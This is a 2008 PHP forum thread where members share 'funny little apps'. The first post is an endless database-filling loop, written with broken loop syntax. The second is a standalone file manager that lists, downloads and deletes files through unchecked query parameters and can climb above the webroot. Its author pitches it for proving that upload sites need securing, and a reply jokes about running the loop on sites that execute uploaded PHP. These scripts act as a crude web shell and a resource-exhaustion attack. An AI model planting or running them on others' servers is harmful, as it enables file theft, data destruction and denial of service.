TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
Advertisement
Associates
Associates
techtuts Darkmindz
CSS Tutorials Tutorialsphere.com - Free Online Tutorials
Boston PHP SurfnLearn
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 04-29-2008, 04:26 AM   #1 (permalink)
The Addict
 
sarmenhb's Avatar
 
Join Date: Jan 2008
Location: los angeles
Posts: 258
Thanks: 39
sarmenhb is on a distinguished road
Default show me your funny little app

i made a script that when ran will increase a databases size in infinite increments untill the browser is closed.
how me what you can create :p

Code:
$host = "localhost";
$login = "root";
$password = "pass";
$database = "db_loop";

$con = mysql_connect($host,$login,$password);
mysql_select_db($database);

while($i=0;$i< $i+1; $i++) { 

$sql = "INSERT INTO tbl_loop(id) values('$i')";
$output = mysql_query($sql);

}
__________________
http://www.sarmenhb.com
Send a message via AIM to sarmenhb Send a message via MSN to sarmenhb Send a message via Yahoo to sarmenhb Send a message via Skype™ to sarmenhb
sarmenhb is offline  
Reply With Quote
Old 04-29-2008, 05:20 AM   #2 (permalink)
The Gregarious
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 594
Thanks: 15
Village Idiot is on a distinguished road
Default

A more recent creation of mine. This will let you browse directories, download files and delete files. Useful to prove to someone that their upload site needs securing. It is 100% standalone and works on linux and windows. It also works above and below the webroot, so long as you have the permissions.

PHP Code:
<?php
$extension 
$_GET["e"];
$function $_GET["f"];
$file $_GET["fi"];


//handle the delete function
if($function == "delete")
{
    
unlink(getcwd().$extension.$file);
    echo 
"Deleted<br />
    <a href=\"?e=$extension/\">return</a><br />"
;
}

if(
$function == "down")
{
    
header("Content-Type: application/octet-stream");
    
header("Content-Disposition: filename=$file");
    
readfile(getcwd().$extension."/".$file);
    die();
    
}

?>
<h3>files</h3>
<?php

if ($handle opendir(getcwd().$extension)) 
{
    while (
false !== ($file readdir($handle))) 
    {
        if (
$file != "." && $file != ".."
        {
            if(
stristr($file,".") == true)
            {
                echo 
"<a href=\"?e=$extension/".$file."\">".$file."</a> - <a href=\"?e=$extension&f=delete&fi=$file\">Delete</a> - <a href=\"?e=$extension&f=down&fi=$file\">Download</a><br />\n";
            }
            else
            {
                
$dir_array[] = "<a href=\"?e=$extension/"."$file\">$file</a><br />";
            }
        }
    }
    
?>
    <br /> <br />
    <h3>Directories</h3>
    <?php
    
if(!is_array($dir_array))
    {
        echo 
"No Directories";
    }
    else
    {
        foreach(
$dir_array as $dir)
        {
            echo 
$dir;
        }
    }
    echo 
"<br /><br /><a href=\"?e=$extension/"."../\">Return</a><br />";
    echo 
"<br /><br /><a href=\"?e=\">Return to file location</a>";
    
closedir($handle);
}

?>
__________________
There are two ways to write bug-free code, only the third one works.
Village Idiot is offline  
Reply With Quote
Old 05-08-2008, 01:13 PM   #3 (permalink)
Jim
The Addict
 
Jim's Avatar
 
Join Date: Nov 2007
Location: the Netherlands
Posts: 224
Thanks: 2
Jim is on a distinguished road
Default

Quote:
Originally Posted by sarmenhb View Post
i made a script that when ran will increase a databases size in infinite increments untill the browser is closed.
how me what you can create :p

Code:
$host = "localhost";
$login = "root";
$password = "pass";
$database = "db_loop";

$con = mysql_connect($host,$login,$password);
mysql_select_db($database);

while($i=0;$i< $i+1; $i++) { 

$sql = "INSERT INTO tbl_loop(id) values('$i')";
$output = mysql_query($sql);

}
Simple but funny when you found a website were you can excecute your own PHP :)

@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...
Send a message via MSN to Jim Send a message via Skype™ to Jim
Jim is offline  
Reply With Quote
Old 05-08-2008, 02:52 PM   #4 (permalink)
The Contributor
 
quantumkangaroo's Avatar
 
Join Date: Feb 2008
Location: Pretoria, South Africa
Posts: 37
Thanks: 1
quantumkangaroo is an unknown quantity at this point
Default

Quote:
Originally Posted by Jim View Post
Simple but funny when you found a website were you can excecute your own PHP :)

@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...
because its ironic?
__________________
virtueCart v1.0.5 developed by WebDevSA

Send a message via MSN to quantumkangaroo Send a message via Skype™ to quantumkangaroo
quantumkangaroo is offline  
Reply With Quote
Old 05-08-2008, 04:00 PM   #5 (permalink)
The Gregarious
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 594
Thanks: 15
Village Idiot is on a distinguished road
Default

Quote:
Originally Posted by Jim View Post
@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...
Exactly, and lets not forget the Americans and Russians the Nazis killed. Read the text and you will get the point.
__________________
There are two ways to write bug-free code, only the third one works.
Village Idiot is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT. The time now is 01:15 AM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0